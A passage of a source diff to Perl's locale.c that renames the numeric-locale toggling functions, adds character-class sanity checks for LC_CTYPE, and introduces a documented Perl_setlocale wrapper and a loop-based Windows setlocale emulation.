+#ifndef USE_LOCALE_NUMERIC
+
+    PERL_UNUSED_ARG(newnum);
+
+#else
+
+    /* Called after each libc setlocale() call affecting LC_NUMERIC, to tell
      * core Perl this and that 'newnum' is the name of the new locale.
      * It installs this locale as the current underlying default.
      *
      * The default locale and the C locale can be toggled between by use of the
-     * set_numeric_local() and set_numeric_standard() functions, which should
-     * probably not be called directly, but only via macros like
+     * set_numeric_underlying() and set_numeric_standard() functions, which
+     * should probably not be called directly, but only via macros like
      * SET_NUMERIC_STANDARD() in perl.h.
      *
      * The toggling is necessary mainly so that a non-dot radix decimal point
@@ -183,21 +1328,22 @@
      *
      * This sets several interpreter-level variables:
      * PL_numeric_name  The underlying locale's name: a copy of 'newnum'
-     * PL_numeric_local A boolean indicating if the toggled state is such
+     * PL_numeric_underlying  A boolean indicating if the toggled state is such
      *                  that the current locale is the program's underlying
      *                  locale
      * PL_numeric_standard An int indicating if the toggled state is such
-     *                  that the current locale is the C locale.  If non-zero,
-     *                  it is in C; if > 1, it means it may not be toggled away
+     *                  that the current locale is the C locale or
+     *                  indistinguishable from the C locale.  If non-zero, it
+     *                  is in C; if > 1, it means it may not be toggled away
      *                  from C.
-     * Note that both of the last two variables can be true at the same time,
-     * if the underlying locale is C.  (Toggling is a no-op under these
-     * circumstances.)
-     *
-     * Any code changing the locale (outside this file) should use
-     * POSIX::setlocale, which calls this function.  Therefore this function
-     * should be called directly only from this file and from
-     * POSIX::setlocale() */
+     * PL_numeric_underlying_is_standard   A bool kept by this function
+     *                  indicating that the underlying locale and the standard
+     *                  C locale are indistinguishable for the purposes of
+     *                  LC_NUMERIC.  This happens when both of the above two
+     *                  variables are true at the same time.  (Toggling is a
+     *                  no-op under these circumstances.)  This variable is
+     *                  used to avoid having to recalculate.
+     */
 
     char *save_newnum;
 
@@ -205,15 +1351,30 @@
 	Safefree(PL_numeric_name);
 	PL_numeric_name = NULL;
 	PL_numeric_standard = TRUE;
-	PL_numeric_local = TRUE;
+	PL_numeric_underlying = TRUE;
+	PL_numeric_underlying_is_standard = TRUE;
 	return;
     }
 
     save_newnum = stdize_locale(savepv(newnum));
-
+    PL_numeric_underlying = TRUE;
     PL_numeric_standard = isNAME_C_OR_POSIX(save_newnum);
-    PL_numeric_local = TRUE;
 
+#ifndef TS_W32_BROKEN_LOCALECONV
+
+    /* If its name isn't C nor POSIX, it could still be indistinguishable from
+     * them.  But on broken Windows systems calling my_nl_langinfo() for
+     * THOUSEP can currently (but rarely) cause a race, so avoid doing that,
+     * and just always change the locale if not C nor POSIX on those systems */
+    if (! PL_numeric_standard) {
+        PL_numeric_standard = cBOOL(strEQ(".", my_nl_langinfo(RADIXCHAR,
+                                            FALSE /* Don't toggle locale */  ))
+                                 && strEQ("",  my_nl_langinfo(THOUSEP, FALSE)));
+    }
+
+#endif
+
+    /* Save the new name if it isn't the same as the previous one, if any */
     if (! PL_numeric_name || strNE(PL_numeric_name, save_newnum)) {
 	Safefree(PL_numeric_name);
 	PL_numeric_name = save_newnum;
@@ -222,22 +1383,40 @@
 	Safefree(save_newnum);
     }
 
+    PL_numeric_underlying_is_standard = PL_numeric_standard;
+
+#  ifdef HAS_POSIX_2008_LOCALE
+
+    PL_underlying_numeric_obj = newlocale(LC_NUMERIC_MASK,
+                                          PL_numeric_name,
+                                          PL_underlying_numeric_obj);
+
+#endif
+
+    if (DEBUG_L_TEST || debug_initialization) {
+        PerlIO_printf(Perl_debug_log, "Called new_numeric with %s, PL_numeric_name=%s\n", newnum, PL_numeric_name);
+    }
+
     /* Keep LC_NUMERIC in the C locale.  This is for XS modules, so they don't
      * have to worry about the radix being a non-dot.  (Core operations that
      * need the underlying locale change to it temporarily). */
-    set_numeric_standard();
+    if (PL_numeric_standard) {
+        set_numeric_radix(0);
+    }
+    else {
+        set_numeric_standard();
+    }
 
-    set_numeric_radix();
+#endif /* USE_LOCALE_NUMERIC */
 
-#else
-    PERL_UNUSED_ARG(newnum);
-#endif /* USE_LOCALE_NUMERIC */
 }
 
 void
 Perl_set_numeric_standard(pTHX)
 {
+
 #ifdef USE_LOCALE_NUMERIC
+
     /* Toggle the LC_NUMERIC locale to C.  Most code should use the macros like
      * SET_NUMERIC_STANDARD() in perl.h instead of calling this directly.  The
      * macro avoids calling this routine if toggling isn't necessary according
@@ -244,54 +1423,71 @@
      * to our records (which could be wrong if some XS code has changed the
      * locale behind our back) */
 
-    setlocale(LC_NUMERIC, "C");
-    PL_numeric_standard = TRUE;
-    PL_numeric_local = isNAME_C_OR_POSIX(PL_numeric_name);
-    set_numeric_radix();
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
+
     if (DEBUG_L_TEST || debug_initialization) {
         PerlIO_printf(Perl_debug_log,
-                          "Underlying LC_NUMERIC locale now is C\n");
+                          "Setting LC_NUMERIC locale to standard C\n");
     }
-#endif
 
+#  endif
+
+    do_setlocale_c(LC_NUMERIC, "C");
+    PL_numeric_standard = TRUE;
+    PL_numeric_underlying = PL_numeric_underlying_is_standard;
+    set_numeric_radix(0);
+
 #endif /* USE_LOCALE_NUMERIC */
+
 }
 
 void
-Perl_set_numeric_local(pTHX)
+Perl_set_numeric_underlying(pTHX)
 {
+
 #ifdef USE_LOCALE_NUMERIC
+
     /* Toggle the LC_NUMERIC locale to the current underlying default.  Most
-     * code should use the macros like SET_NUMERIC_LOCAL() in perl.h instead of
-     * calling this directly.  The macro avoids calling this routine if
-     * toggling isn't necessary according to our records (which could be wrong
-     * if some XS code has changed the locale behind our back) */
+     * code should use the macros like SET_NUMERIC_UNDERLYING() in perl.h
+     * instead of calling this directly.  The macro avoids calling this routine
+     * if toggling isn't necessary according to our records (which could be
+     * wrong if some XS code has changed the locale behind our back) */
 
-    setlocale(LC_NUMERIC, PL_numeric_name);
-    PL_numeric_standard = isNAME_C_OR_POSIX(PL_numeric_name);
-    PL_numeric_local = TRUE;
-    set_numeric_radix();
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
+
     if (DEBUG_L_TEST || debug_initialization) {
         PerlIO_printf(Perl_debug_log,
-                          "Underlying LC_NUMERIC locale now is %s\n",
+                          "Setting LC_NUMERIC locale to %s\n",
                           PL_numeric_name);
     }
-#endif
 
+#  endif
+
+    do_setlocale_c(LC_NUMERIC, PL_numeric_name);
+    PL_numeric_standard = PL_numeric_underlying_is_standard;
+    PL_numeric_underlying = TRUE;
+    set_numeric_radix(! PL_numeric_standard);
+
 #endif /* USE_LOCALE_NUMERIC */
+
 }
 
 /*
  * Set up for a new ctype locale.
  */
-void
-Perl_new_ctype(pTHX_ const char *newctype)
+STATIC void
+S_new_ctype(pTHX_ const char *newctype)
 {
-#ifdef USE_LOCALE_CTYPE
 
-    /* Called after all libc setlocale() calls affecting LC_CTYPE, to tell
+#ifndef USE_LOCALE_CTYPE
+
+    PERL_ARGS_ASSERT_NEW_CTYPE;
+    PERL_UNUSED_ARG(newctype);
+    PERL_UNUSED_CONTEXT;
+
+#else
+
+    /* Called after each libc setlocale() call affecting LC_CTYPE, to tell
      * core Perl this and that 'newctype' is the name of the new locale.
      *
      * This function sets up the folding arrays for all 256 bytes, assuming
@@ -298,13 +1494,16 @@
      * that tofold() is tolc() since fold case is not a concept in POSIX,
      *
      * Any code changing the locale (outside this file) should use
-     * POSIX::setlocale, which calls this function.  Therefore this function
-     * should be called directly only from this file and from
+     * Perl_setlocale or POSIX::setlocale, which call this function.  Therefore
+     * this function should be called directly only from this file and from
      * POSIX::setlocale() */
 
     dVAR;
-    UV i;
+    unsigned int i;
 
+    /* Don't check for problems if we are suppressing the warnings */
+    bool check_for_problems = ckWARN_d(WARN_LOCALE) || UNLIKELY(DEBUG_L_TEST);
+
     PERL_ARGS_ASSERT_NEW_CTYPE;
 
     /* We will replace any bad locale warning with 1) nothing if the new one is
@@ -321,27 +1520,28 @@
     if (PL_in_utf8_CTYPE_locale) {
         Copy(PL_fold_latin1, PL_fold_locale, 256, U8);
     }
-    else {
+
+    /* We don't populate the other lists if a UTF-8 locale, but do check that
+     * everything works as expected, unless checking turned off */
+    if (check_for_problems || ! PL_in_utf8_CTYPE_locale) {
         /* Assume enough space for every character being bad.  4 spaces each
          * for the 94 printable characters that are output like "'x' "; and 5
          * spaces each for "'\\' ", "'\t' ", and "'\n' "; plus a terminating
          * NUL */
-        char bad_chars_list[ (94 * 4) + (3 * 5) + 1 ];
-
-        /* Don't check for problems if we are suppressing the warnings */
-        bool check_for_problems = ckWARN_d(WARN_LOCALE)
-                               || UNLIKELY(DEBUG_L_TEST);
+        char bad_chars_list[ (94 * 4) + (3 * 5) + 1 ] = { '\0' };
         bool multi_byte_locale = FALSE;     /* Assume is a single-byte locale
                                                to start */
         unsigned int bad_count = 0;         /* Count of bad characters */
 
         for (i = 0; i < 256; i++) {
-            if (isUPPER_LC((U8) i))
-                PL_fold_locale[i] = (U8) toLOWER_LC((U8) i);
-            else if (isLOWER_LC((U8) i))
-                PL_fold_locale[i] = (U8) toUPPER_LC((U8) i);
-            else
-                PL_fold_locale[i] = (U8) i;
+            if (! PL_in_utf8_CTYPE_locale) {
+                if (isupper(i))
+                    PL_fold_locale[i] = (U8) tolower(i);
+                else if (islower(i))
+                    PL_fold_locale[i] = (U8) toupper(i);
+                else
+                    PL_fold_locale[i] = (U8) i;
+            }
 
             /* If checking for locale problems, see if the native ASCII-range
              * printables plus \n and \t are in their expected categories in
@@ -352,44 +1552,130 @@
              * nowadays.  It isn't a problem for most controls to be changed
              * into something else; we check only \n and \t, though perhaps \r
              * could be an issue as well. */
-            if (check_for_problems
+            if (    check_for_problems
                 && (isGRAPH_A(i) || isBLANK_A(i) || i == '\n'))
             {
-                if ((isALPHANUMERIC_A(i) && ! isALPHANUMERIC_LC(i))
-                     || (isPUNCT_A(i) && ! isPUNCT_LC(i))
-                     || (isBLANK_A(i) && ! isBLANK_LC(i))
-                     || (i == '\n' && ! isCNTRL_LC(i)))
-                {
-                    if (bad_count) {    /* Separate multiple entries with a
-                                           blank */
-                        bad_chars_list[bad_count++] = ' ';
+                bool is_bad = FALSE;
+                char name[4] = { '\0' };
+
+                /* Convert the name into a string */
+                if (isGRAPH_A(i)) {
+                    name[0] = i;
+                    name[1] = '\0';
+                }
+                else if (i == '\n') {
+                    my_strlcpy(name, "\\n", sizeof(name));
+                }
+                else if (i == '\t') {
+                    my_strlcpy(name, "\\t", sizeof(name));
+                }
+                else {
+                    assert(i == ' ');
+                    my_strlcpy(name, "' '", sizeof(name));
+                }
+
+                /* Check each possibe class */
+                if (UNLIKELY(cBOOL(isalnum(i)) != cBOOL(isALPHANUMERIC_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isalnum('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isalnum(i))));
+                }
+                if (UNLIKELY(cBOOL(isalpha(i)) != cBOOL(isALPHA_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isalpha('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isalpha(i))));
+                }
+                if (UNLIKELY(cBOOL(isdigit(i)) != cBOOL(isDIGIT_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isdigit('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isdigit(i))));
+                }
+                if (UNLIKELY(cBOOL(isgraph(i)) != cBOOL(isGRAPH_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isgraph('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isgraph(i))));
+                }
+                if (UNLIKELY(cBOOL(islower(i)) != cBOOL(isLOWER_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "islower('%s') unexpectedly is %d\n",
+                                          name, cBOOL(islower(i))));
+                }
+                if (UNLIKELY(cBOOL(isprint(i)) != cBOOL(isPRINT_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isprint('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isprint(i))));
+                }
+                if (UNLIKELY(cBOOL(ispunct(i)) != cBOOL(isPUNCT_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "ispunct('%s') unexpectedly is %d\n",
+                                          name, cBOOL(ispunct(i))));
+                }
+                if (UNLIKELY(cBOOL(isspace(i)) != cBOOL(isSPACE_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isspace('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isspace(i))));
+                }
+                if (UNLIKELY(cBOOL(isupper(i)) != cBOOL(isUPPER_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isupper('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isupper(i))));
+                }
+                if (UNLIKELY(cBOOL(isxdigit(i))!= cBOOL(isXDIGIT_A(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                          "isxdigit('%s') unexpectedly is %d\n",
+                                          name, cBOOL(isxdigit(i))));
+                }
+                if (UNLIKELY(tolower(i) != (int) toLOWER_A(i)))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                            "tolower('%s')=0x%x instead of the expected 0x%x\n",
+                            name, tolower(i), (int) toLOWER_A(i)));
+                }
+                if (UNLIKELY(toupper(i) != (int) toUPPER_A(i)))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                            "toupper('%s')=0x%x instead of the expected 0x%x\n",
+                            name, toupper(i), (int) toUPPER_A(i)));
+                }
+                if (UNLIKELY((i == '\n' && ! isCNTRL_LC(i))))  {
+                    is_bad = TRUE;
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                "'\\n' (=%02X) is not a control\n", (int) i));
+                }
+
+                /* Add to the list;  Separate multiple entries with a blank */
+                if (is_bad) {
+                    if (bad_count) {
+                        my_strlcat(bad_chars_list, " ", sizeof(bad_chars_list));
                     }
-                    bad_chars_list[bad_count++] = '\'';
-                    if (isPRINT_A(i)) {
-                        bad_chars_list[bad_count++] = (char) i;
-                    }
-                    else {
-                        bad_chars_list[bad_count++] = '\\';
-                        if (i == '\n') {
-                            bad_chars_list[bad_count++] = 'n';
-                        }
-                        else {
-                            assert(i == '\t');
-                            bad_chars_list[bad_count++] = 't';
-                        }
-                    }
-                    bad_chars_list[bad_count++] = '\'';
-                    bad_chars_list[bad_count] = '\0';
+                    my_strlcat(bad_chars_list, name, sizeof(bad_chars_list));
+                    bad_count++;
                 }
             }
         }
 
-#ifdef MB_CUR_MAX
+#  ifdef MB_CUR_MAX
+
         /* We only handle single-byte locales (outside of UTF-8 ones; so if
          * this locale requires more than one byte, there are going to be
          * problems. */
-        if (check_for_problems && MB_CUR_MAX > 1
+        DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+                 "%s:%d: check_for_problems=%d, MB_CUR_MAX=%d\n",
+                 __FILE__, __LINE__, check_for_problems, (int) MB_CUR_MAX));
 
+        if (   check_for_problems && MB_CUR_MAX > 1
+            && ! PL_in_utf8_CTYPE_locale
+
                /* Some platforms return MB_CUR_MAX > 1 for even the "C"
                 * locale.  Just assume that the implementation for them (plus
                 * for POSIX) is correct and the > 1 value is spurious.  (Since
@@ -400,10 +1686,19 @@
         {
             multi_byte_locale = TRUE;
         }
-#endif
 
-        if (bad_count || multi_byte_locale) {
-            PL_warn_locale = Perl_newSVpvf(aTHX_
+#  endif
+
+        if (UNLIKELY(bad_count) || UNLIKELY(multi_byte_locale)) {
+            if (UNLIKELY(bad_count) && PL_in_utf8_CTYPE_locale) {
+                PL_warn_locale = Perl_newSVpvf(aTHX_
+                     "Locale '%s' contains (at least) the following characters"
+                     " which have\nunexpected meanings: %s\nThe Perl program"
+                     " will use the expected meanings",
+                      newctype, bad_chars_list);
+            }
+            else {
+                PL_warn_locale = Perl_newSVpvf(aTHX_
                              "Locale '%s' may not work well.%s%s%s\n",
                              newctype,
                              (multi_byte_locale)
@@ -419,6 +1714,18 @@
                               ? bad_chars_list
                               : ""
                             );
+            }
+
+#  ifdef HAS_NL_LANGINFO
+
+            Perl_sv_catpvf(aTHX_ PL_warn_locale, "; codeset=%s",
+                                    /* parameter FALSE is a don't care here */
+                                    my_nl_langinfo(CODESET, FALSE));
+
+#  endif
+
+            Perl_sv_catpvf(aTHX_ PL_warn_locale, "\n");
+
             /* If we are actually in the scope of the locale or are debugging,
              * output the message now.  If not in that scope, we save the
              * message to be output at the first operation using this locale,
@@ -426,20 +1733,9 @@
              * they are immune to bad ones.  */
             if (IN_LC(LC_CTYPE) || UNLIKELY(DEBUG_L_TEST)) {
 
-                /* We have to save 'newctype' because the setlocale() just
-                 * below may destroy it.  The next setlocale() further down
-                 * should restore it properly so that the intermediate change
-                 * here is transparent to this function's caller */
-                const char * const badlocale = savepv(newctype);
-
-                setlocale(LC_CTYPE, "C");
-
                 /* The '0' below suppresses a bogus gcc compiler warning */
                 Perl_warner(aTHX_ packWARN(WARN_LOCALE), SvPVX(PL_warn_locale), 0);
 
-                setlocale(LC_CTYPE, badlocale);
-                Safefree(badlocale);
-
                 if (IN_LC(LC_CTYPE)) {
                     SvREFCNT_dec_NN(PL_warn_locale);
                     PL_warn_locale = NULL;
@@ -449,9 +1745,7 @@
     }
 
 #endif /* USE_LOCALE_CTYPE */
-    PERL_ARGS_ASSERT_NEW_CTYPE;
-    PERL_UNUSED_ARG(newctype);
-    PERL_UNUSED_CONTEXT;
+
 }
 
 void
@@ -467,11 +1761,9 @@
      * _CHECK_AND_WARN_PROBLEMATIC_LOCALE */
 
     if (PL_warn_locale) {
-        /*GCC_DIAG_IGNORE(-Wformat-security);   Didn't work */
         Perl_ck_warner(aTHX_ packWARN(WARN_LOCALE),
                              SvPVX(PL_warn_locale),
                              0 /* dummy to avoid compiler warning */ );
-        /* GCC_DIAG_RESTORE; */
         SvREFCNT_dec_NN(PL_warn_locale);
         PL_warn_locale = NULL;
     }
@@ -480,19 +1772,20 @@
 
 }
 
-void
-Perl_new_collate(pTHX_ const char *newcoll)
+STATIC void
+S_new_collate(pTHX_ const char *newcoll)
 {
-#ifdef USE_LOCALE_COLLATE
 
-    /* Called after all libc setlocale() calls affecting LC_COLLATE, to tell
+#ifndef USE_LOCALE_COLLATE
+
+    PERL_UNUSED_ARG(newcoll);
+    PERL_UNUSED_CONTEXT;
+
+#else
+
+    /* Called after each libc setlocale() call affecting LC_COLLATE, to tell
      * core Perl this and that 'newcoll' is the name of the new locale.
      *
-     * Any code changing the locale (outside this file) should use
-     * POSIX::setlocale, which calls this function.  Therefore this function
-     * should be called directly only from this file and from
-     * POSIX::setlocale().
-     *
      * The design of locale collation is that every locale change is given an
      * index 'PL_collation_ix'.  The first time a string particpates in an
      * operation that requires collation while locale collation is active, it
@@ -680,7 +1973,8 @@
                 PL_collxfrm_base = base + 1;
             }
 
-#ifdef DEBUGGING
+#  ifdef DEBUGGING
+
             if (DEBUG_L_TEST || debug_initialization) {
                 PerlIO_printf(Perl_debug_log,
                     "%s:%d: ?UTF-8 locale=%d; x_len_shorter=%zu, "
@@ -691,95 +1985,81 @@
                     x_len_shorter, x_len_longer,
                     PL_collxfrm_mult, PL_collxfrm_base);
             }
-#endif
+#  endif
+
 	}
     }
 
-#else
-    PERL_UNUSED_ARG(newcoll);
 #endif /* USE_LOCALE_COLLATE */
+
 }
 
 #ifdef WIN32
 
-char *
-Perl_my_setlocale(pTHX_ int category, const char* locale)
+STATIC char *
+S_win32_setlocale(pTHX_ int category, const char* locale)
 {
     /* This, for Windows, emulates POSIX setlocale() behavior.  There is no
-     * difference unless the input locale is "", which means on Windows to get
-     * the machine default, which is set via the computer's "Regional and
-     * Language Options" (or its current equivalent).  In POSIX, it instead
-     * means to find the locale from the user's environment.  This routine
-     * looks in the environment, and, if anything is found, uses that instead
-     * of going to the machine default.  If there is no environment override,
-     * the machine default is used, as normal, by calling the real setlocale()
-     * with "".  The POSIX behavior is to use the LC_ALL variable if set;
-     * otherwise to use the particular category's variable if set; otherwise to
-     * use the LANG variable. */
+     * difference between the two unless the input locale is "", which normally
+     * means on Windows to get the machine default, which is set via the
+     * computer's "Regional and Language Options" (or its current equivalent).
+     * In POSIX, it instead means to find the locale from the user's
+     * environment.  This routine changes the Windows behavior to first look in
+     * the environment, and, if anything is found, use that instead of going to
+     * the machine default.  If there is no environment override, the machine
+     * default is used, by calling the real setlocale() with "".
+     *
+     * The POSIX behavior is to use the LC_ALL variable if set; otherwise to
+     * use the particular category's variable if set; otherwise to use the LANG
+     * variable. */
 
     bool override_LC_ALL = FALSE;
     char * result;
+    unsigned int i;
 
     if (locale && strEQ(locale, "")) {
-#   ifdef LC_ALL
+
+#  ifdef LC_ALL
+
         locale = PerlEnv_getenv("LC_ALL");
         if (! locale) {
-#endif
-            switch (category) {
-#   ifdef LC_ALL
-                case LC_ALL:
-                    override_LC_ALL = TRUE;
-                    break;  /* We already know its variable isn't set */
-#   endif
-#   ifdef USE_LOCALE_TIME
-                case LC_TIME:
-                    locale = PerlEnv_getenv("LC_TIME");
-                    break;
-#   endif
-#   ifdef USE_LOCALE_CTYPE
-                case LC_CTYPE:
-                    locale = PerlEnv_getenv("LC_CTYPE");
-                    break;
-#   endif
-#   ifdef USE_LOCALE_COLLATE
-                case LC_COLLATE:
-                    locale = PerlEnv_getenv("LC_COLLATE");
-                    break;
-#   endif
-#   ifdef USE_LOCALE_MONETARY
-                case LC_MONETARY:
-                    locale = PerlEnv_getenv("LC_MONETARY");
-                    break;
-#   endif
-#   ifdef USE_LOCALE_NUMERIC
-                case LC_NUMERIC:
-                    locale = PerlEnv_getenv("LC_NUMERIC");
-                    break;
-#   endif
-#   ifdef USE_LOCALE_MESSAGES
-                case LC_MESSAGES:
-                    locale = PerlEnv_getenv("LC_MESSAGES");
-                    break;
-#   endif
-                default:
-                    /* This is a category, like PAPER_SIZE that we don't
-                     * know about; and so can't provide a wrapper. */
-                    break;
+            if (category ==  LC_ALL) {
+                override_LC_ALL = TRUE;
             }
-            if (! locale) {
+            else {
+
+#  endif
+
+                for (i = 0; i < NOMINAL_LC_ALL_INDEX; i++) {
+                    if (category == categories[i]) {
+                        locale = PerlEnv_getenv(category_names[i]);
+                        goto found_locale;
+                    }
+                }
+
                 locale = PerlEnv_getenv("LANG");
                 if (! locale) {
                     locale = "";
                 }
+
+              found_locale: ;
+
+#  ifdef LC_ALL
+
             }
-#   ifdef LC_ALL
         }
-#   endif
+
+#  endif
+
     }
 
     result = setlocale(category, locale);
-    DEBUG_L(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n", __FILE__, __LINE__,
-                            _setlocale_debug_string(category, locale, result)));
+    DEBUG_L(STMT_START {
+                dSAVE_ERRNO;
+                PerlIO_printf(Perl_debug_log, "%s:%d: %s\n", __FILE__, __LINE__,
+                            setlocale_debug_string(category, locale, result));
+                RESTORE_ERRNO;
+            } STMT_END);
 
     if (! override_LC_ALL)  {
         return result;
@@ -790,72 +2070,995 @@
      * lower priority than the other LC_foo variables, so override it for each
      * one that is set.  (If they are set to "", it means to use the same thing
      * we just set LC_ALL to, so can skip) */
-#   ifdef USE_LOCALE_TIME
-    result = PerlEnv_getenv("LC_TIME");
-    if (result && strNE(result, "")) {
-        setlocale(LC_TIME, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                    __FILE__, __LINE__,
-                    _setlocale_debug_string(LC_TIME, result, "not captured")));
+
+    for (i = 0; i < LC_ALL_INDEX; i++) {
+        result = PerlEnv_getenv(category_names[i]);
+        if (result && strNE(result, "")) {
+            setlocale(categories[i], result);
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
+                __FILE__, __LINE__,
+                setlocale_debug_string(categories[i], result, "not captured")));
+        }
     }
-#   endif
-#   ifdef USE_LOCALE_CTYPE
-    result = PerlEnv_getenv("LC_CTYPE");
-    if (result && strNE(result, "")) {
-        setlocale(LC_CTYPE, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                    __FILE__, __LINE__,
-                    _setlocale_debug_string(LC_CTYPE, result, "not captured")));
+
+    result = setlocale(LC_ALL, NULL);
+    DEBUG_L(STMT_START {
+                dSAVE_ERRNO;
+                PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
+                               __FILE__, __LINE__,
+                               setlocale_debug_string(LC_ALL, NULL, result));
+                RESTORE_ERRNO;
+            } STMT_END);
+
+    return result;
+}
+
+#endif
+
+/*
+
+=head1 Locale-related functions and macros
+
+=for apidoc Perl_setlocale
+
+This is an (almost) drop-in replacement for the system L<C<setlocale(3)>>,
+taking the same parameters, and returning the same information, except that it
+returns the correct underlying C<LC_NUMERIC> locale.  Regular C<setlocale> will
+instead return C<C> if the underlying locale has a non-dot decimal point
+character, or a non-empty thousands separator for displaying floating point
+numbers.  This is because perl keeps that locale category such that it has a
+dot and empty separator, changing the locale briefly during the operations
+where the underlying one is required. C<Perl_setlocale> knows about this, and
+compensates; regular C<setlocale> doesn't.
+
+Another reason it isn't completely a drop-in replacement is that it is
+declared to return S<C<const char *>>, whereas the system setlocale omits the
+C<const> (presumably because its API was specified long ago, and can't be
+updated; it is illegal to change the information C<setlocale> returns; doing
+so leads to segfaults.)
+
+Finally, C<Perl_setlocale> works under all circumstances, whereas plain
+C<setlocale> can be completely ineffective on some platforms under some
+configurations.
+
+C<Perl_setlocale> should not be used to change the locale except on systems
+where the predefined variable C<${^SAFE_LOCALES}> is 1.  On some such systems,
+the system C<setlocale()> is ineffective, returning the wrong information, and
+failing to actually change the locale.  C<Perl_setlocale>, however works
+properly in all circumstances.
+
+The return points to a per-thread static buffer, which is overwritten the next
+time C<Perl_setlocale> is called from the same thread.
+
+=cut
+
+*/
+
+const char *
+Perl_setlocale(const int category, const char * locale)
+{
+    /* This wraps POSIX::setlocale() */
+
+    const char * retval;
+    const char * newlocale;
+    dSAVEDERRNO;
+    DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+    dTHX;
+
+#ifdef USE_LOCALE_NUMERIC
+
+    /* A NULL locale means only query what the current one is.  We have the
+     * LC_NUMERIC name saved, because we are normally switched into the C
+     * (or equivalent) locale for it.  For an LC_ALL query, switch back to get
+     * the correct results.  All other categories don't require special
+     * handling */
+    if (locale == NULL) {
+        if (category == LC_NUMERIC) {
+
+            /* We don't have to copy this return value, as it is a per-thread
+             * variable, and won't change until a future setlocale */
+            return PL_numeric_name;
+        }
+
+#  ifdef LC_ALL
+
+        else if (category == LC_ALL) {
+            STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
+        }
+
+#  endif
+
     }
-#   endif
-#   ifdef USE_LOCALE_COLLATE
-    result = PerlEnv_getenv("LC_COLLATE");
-    if (result && strNE(result, "")) {
-        setlocale(LC_COLLATE, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                  __FILE__, __LINE__,
-                  _setlocale_debug_string(LC_COLLATE, result, "not captured")));
+
+#endif
+
+    retval = save_to_buffer(do_setlocale_r(category, locale),
+                            &PL_setlocale_buf, &PL_setlocale_bufsize, 0);
+    SAVE_ERRNO;
+
+#if defined(USE_LOCALE_NUMERIC) && defined(LC_ALL)
+
+    if (locale == NULL && category == LC_ALL) {
+        RESTORE_LC_NUMERIC();
     }
-#   endif
-#   ifdef USE_LOCALE_MONETARY
-    result = PerlEnv_getenv("LC_MONETARY");
-    if (result && strNE(result, "")) {
-        setlocale(LC_MONETARY, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                 __FILE__, __LINE__,
-                 _setlocale_debug_string(LC_MONETARY, result, "not captured")));
+
+#endif
+
+    DEBUG_L(PerlIO_printf(Perl_debug_log,
+        "%s:%d: %s\n", __FILE__, __LINE__,
+            setlocale_debug_string(category, locale, retval)));
+
+    RESTORE_ERRNO;
+
+    if (! retval) {
+        return NULL;
     }
-#   endif
-#   ifdef USE_LOCALE_NUMERIC
-    result = PerlEnv_getenv("LC_NUMERIC");
-    if (result && strNE(result, "")) {
-        setlocale(LC_NUMERIC, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                 __FILE__, __LINE__,
-                 _setlocale_debug_string(LC_NUMERIC, result, "not captured")));
+
+    /* If locale == NULL, we are just querying the state */
+    if (locale == NULL) {
+        return retval;
     }
-#   endif
-#   ifdef USE_LOCALE_MESSAGES
-    result = PerlEnv_getenv("LC_MESSAGES");
-    if (result && strNE(result, "")) {
-        setlocale(LC_MESSAGES, result);
-        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                 __FILE__, __LINE__,
-                 _setlocale_debug_string(LC_MESSAGES, result, "not captured")));
+
+    /* Now that have switched locales, we have to update our records to
+     * correspond. */
+
+    switch (category) {
+
+#ifdef USE_LOCALE_CTYPE
+
+        case LC_CTYPE:
+            new_ctype(retval);
+            break;
+
+#endif
+#ifdef USE_LOCALE_COLLATE
+
+        case LC_COLLATE:
+            new_collate(retval);
+            break;
+
+#endif
+#ifdef USE_LOCALE_NUMERIC
+
+        case LC_NUMERIC:
+            new_numeric(retval);
+            break;
+
+#endif
+#ifdef LC_ALL
+
+        case LC_ALL:
+
+            /* LC_ALL updates all the things we care about.  The values may not
+             * be the same as 'retval', as the locale "" may have set things
+             * individually */
+
+#  ifdef USE_LOCALE_CTYPE
